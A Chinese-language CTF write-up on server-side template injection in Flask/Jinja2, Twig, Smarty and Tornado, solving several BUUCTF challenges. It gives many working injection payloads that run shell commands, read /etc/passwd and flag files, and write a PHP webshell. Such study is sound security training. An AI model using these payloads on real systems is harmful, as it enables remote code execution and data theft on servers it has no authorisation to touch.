BUUCTF SSTI模板注入

高人于斯發表於2024-05-26

BUUCTF SSTI模板注入

基礎原理

SSTI模板注入(Server-Side Template Injection),透過與服務端模板的輸入輸出互動,在過濾不嚴格的情況下,構造惡意輸入資料,從而達到讀取檔案或者 getshell 的目的

一般特徵函式:render_template_string

SSTI_flask_labs

image-20240313211010551

可以看到資料被解析了,那麼怎麼注入呢?

1 __class__ 可以返回當前變數的型別:

image-20240313212504217

image-20240313212535642

image-20240313212550815

然後這些型別的基類(也就是父類)都是 object ,而我們要的能夠命令執行的類的基類(父類)也是 object ,所以 ssti 基本思路就是透過類之間的轉換得到我們需要的。

2 .1__bases__ 可以返回當前類的基類(父類)

image-20240313213147806

image-20240313213202958

可以加個陣列進行索引:

image-20240313213242436

至此便得到了 object

2.2 __mro__ 也可以返回基類(父類)

image-20240313213507305

只不過它回把原類顯出來,可以加個陣列只索引 object

image-20240313213607273

3 __subclasses__() 可以查當前類的子類

image-20240313213903438

我們需要的是 <class 'os._wrap_close'> 這個類

螢幕截圖 2024-03-13 214757

4 __init__.__globals__

__init__函式初始化類,返回型別為function:

QQ截圖20240517203124

然後接__globals__函式(解釋一:使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數。)(解釋二:該特殊屬效能夠返回函式所在模組名稱空間的所有變數,其中包含了很多已經引入的modules,這裡看到是支援__builtins__的)

image-20240313215800213

最後執行命令

code={{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']("ls /").read()}}

image-20240313215937990

當然方法不只一種,但大概原理都差不多,

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}  //也行

參考:https://blog.csdn.net/cjdgg/article/details/115770395

__class__            類的一個內建屬性,表示例項物件的類。
__base__             型別物件的直接基類
__bases__            型別物件的全部基類,以元組形式,型別的例項通常沒有屬性 __bases__
__mro__              此屬性是由類組成的元組,在方法解析期間會基於它來查詢基類。
__subclasses__()     返回這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化類,返回的型別是function
__globals__          使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數。
__dic__              類的靜態函式、類函式、普通函式、全域性變數以及一些內建的屬性都是放在類的__dict__裡
__getattribute__()   例項、類、函式都具有的__getattribute__魔術方法。事實上,在例項化的物件進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去呼叫__getattribute__方法。因此我們同樣可以直接透過這個方法來獲取到例項、類、函式的屬性。
__getitem__()        呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__         內建名稱空間,內建名稱空間有許多名字到物件之間對映,而這些名字其實就是內建函式的名稱,物件就是這些內建函式本身。即裡面有很多常用的函式。__builtins__與__builtin__的區別就不放了,百度都有。
__import__           動態載入類和函式,也就是匯入模組,經常用於匯入os模組,__import__('os').popen('ls').read()]
__str__()            返回描寫這個物件的字串,可以理解成就是列印出來。
url_for              flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一個方法,可以用於得到__builtins__,而且lipsum.__globals__含有os模組:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          應用上下文,一個全域性變數。

request              可以用於獲取字串來繞過,包括下面這些,引用一下羽師傅的。此外,同樣可以獲取open函式:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get傳參
request.values.x1 	 所有引數
request.cookies      cookies引數
request.headers      請求頭引數
request.form.x1   	 post傳參	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post傳參	(Content-Type:a/b)
request.json		 post傳json  (Content-Type: application/json)
config               當前application的所有配置。此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>

參考:https://blog.csdn.net/rfrder/article/details/113866139

常用的過濾函式:



int():將值轉換為int型別;

float():將值轉換為float型別;

lower():將字串轉換為小寫;

upper():將字串轉換為大寫;

title():把值中的每個單詞的首字母都轉成大寫;

capitalize():把變數值的首字母轉成大寫,其餘字母轉小寫;

trim():擷取字串前面和後面的空白字元;

wordcount():計算一個長字串中單詞的個數;

reverse():字串反轉;

replace(value,old,new): 替換將old替換為new的字串;

truncate(value,length=255,killwords=False):擷取length長度的字串;

striptags():刪除字串中所有的HTML標籤,如果出現多個空格,將替換成一個空格;

escape()或e:跳脫字元,會將<、>等符號轉義成HTML中的符號。顯例:content|escape或content|e。

safe(): 禁用HTML轉義,如果開啟了全域性轉義,那麼safe過濾器會將變數關掉轉義。示例: {{'<em>hello</em>'|safe}};

list():將變數列成列表;

string():將變數轉換成字串;

join():將一個序列中的引數值拼接成字串。示例看上面payload;

abs():返回一個數值的絕對值;

first():返回一個序列的第一個元素;

last():返回一個序列的最後一個元素;

format(value,arags,*kwargs):格式化字串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!

length():返回一個序列或者字典的長度;

sum():返回列表內數值的和;

sort():返回排序後的列表;

default(value,default_value,boolean=false):如果當前變數沒有值,則會使用引數中的值來代替。示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代。boolean=False預設是在只有這個變數為undefined的時候才會使用default中的值,如果想使用python的形式判斷是否為false,則可以傳遞boolean=true。也可以使用or來替換。

length()返回字串的長度,別名是count

對於簡單的也可以用工具

image-20240313220712675

題目練習

簡單

[CSCCTF 2019 Qual]FlaskLight

引數 search

找到 object 的所有子類,

image-20240314205600176

但是裡面沒有 os 的類,看師傅們wp發現還可以用 subprocess.Popen 進行命令執行(可以手工試,也可以用指令碼遍歷)

構造:

{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0]}}
也可以
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

image-20240314210102138

繼續拿到 flag 即可

[BJDCTF2020]Cookie is so stable twig模板注入

進入題目在FLAG頁面有登入按鈕,在當登入時抓包,發現post多了引數,但不管怎麼改 username 引數都沒用,然後再在登入進去時進行抓包,發現在cookie又多了個引數,傳參,發現渲染成功,猜測可能渲染的不是登入的時的 username ,而是渲染的登入後使用者名稱

在user處嘗試注入

{{7*'7'}} 回顯7777777 ==> Jinja2
{{7*'7'}} 回顯49 ==> Twig 

image-20240314212512054

可以看到這裡為 Twig 模板,而且題目也提示了。這個模板關鍵詞 createTemplaterender

注入原理:

image-20240314221356044

這道題什麼都沒有過濾,直接複製payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}

這個payload只適用於Twig 1.x

Twig 3.x可以利用過濾器來執行命令

{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 無回顯
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 無回顯

這道題時 Twig 1.x

image-20240314222226024

Twig 模板注入常用 payload

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

[VolgaCTF 2020]Qualifier]Newsellter

雲做一道題。

這裡主要繞過的就是

image-20240314223536985

[WesternCTF2018]shrine

看到原始碼

image-20240320125324283

payload

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

得到flag

螢幕截圖 2024-03-20 124912

[CISCN2019 華東南賽區]Web11

頁尾發現:

image-20240320132717802

1、Smarty SSTI利用:

Smarty是基於PHP開發的,對於Smarty的SSTI的利用手段與常見的flask的SSTI有很大區別。

2、漏洞驗證:

一般情況下輸入{$smarty.version}就可以看到返回的smarty的版本號。該題目的Smarty版本是3.1.30

微信截圖_20240320132553

當然還要其他驗證

a{*comment*}b //確定為smarty模板

3、常規利用方式:

一、

Smarty支援使用{php}{/php}標籤來執行被包裹其中的php指令,最常規的思路自然是先測試該標籤。但就該題目而言,使用{php}{/php}標籤會報錯

原因:

Smarty3已經廢棄{php}標籤,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用。

二、

{literal} 標籤

官方手冊這樣描述這個標籤:

{literal}可以讓一個模板區域的字元原樣輸出。 這經常用於保護頁面上的Javascript或css樣式表,避免因為Smarty的定界符而錯被解析。

// 從PHP7開始,這種寫法,已經不支援了

這道題是php7環境,所以不行

三、

透過self獲取Smarty類再呼叫其靜態方法實現檔案讀寫被網上很多文章採用。

很多文章裡給的payload都形如:{self::getStreamVariable(“file:///etc/passwd”)}

這個舊版本Smarty的SSTI利用方式並不適用於新版本的Smarty。而且在3.1.30的Smarty版本中官方已經把該靜態方法刪除

四、

{if}標籤

官方文件中看到這樣的描述:

Smarty的{if}條件判斷和PHP的if非常相似,只是增加了一些特性。每個{if}必須有一個配對的{/if},也可以使用{else} 和 {elseif},全部的PHP條件表示式和函式都可以在if內使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

構造:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

微信截圖_20240320133701

[BJDCTF2020]The mystery of ip

簡單的 smarty 模板注入,注入點為 XFF

image-20240321132607514

[GYCTF2020]FlaskApp debug

image-20240321183644612

fenjing一把梭了:

python3 -m fenjing  crack -u http://3254228f-4070-4802-8291-5610fe005d13.node5.buuoj.cn/decode -i text  --tamper-cmd base64

image-20240321192412497

其構造的paylaod:

{%set wp='so'[::-1]%}
{%set ca='txt.galf_eht_si_siht/ tac'[::-1]%}
{{cycler.next.__globals__.__builtins__['__i''mport__'](wp)['p''open'](ca).read()}} 

中等

[護網杯 2018]easy_tornado

tornado 模板,直接看師傅們的wp:

在tornado模板中,存在一些可以訪問的快速物件,這裡用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這裡面就是我們的一些環境變數

image-20240321201844352

payload:

{{handler.settings}}

得到 cookie_secret

微信截圖_20240321201742

image-20240321204431434

進行md5編碼

image-20240321202455939

php也行(字串連線用點):

image-20240321205550400

得到flag

image-20240321202437565

[CISCN2019 華東南賽區]Double Secret

路由和引數都是secret。亂輸一通報錯:

image-20240321211255389

進行了rc4解碼然後再進行模板渲染,

所以構造payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
//進行rc4編碼

image-20240321212110451

得到flag:

image-20240321212056597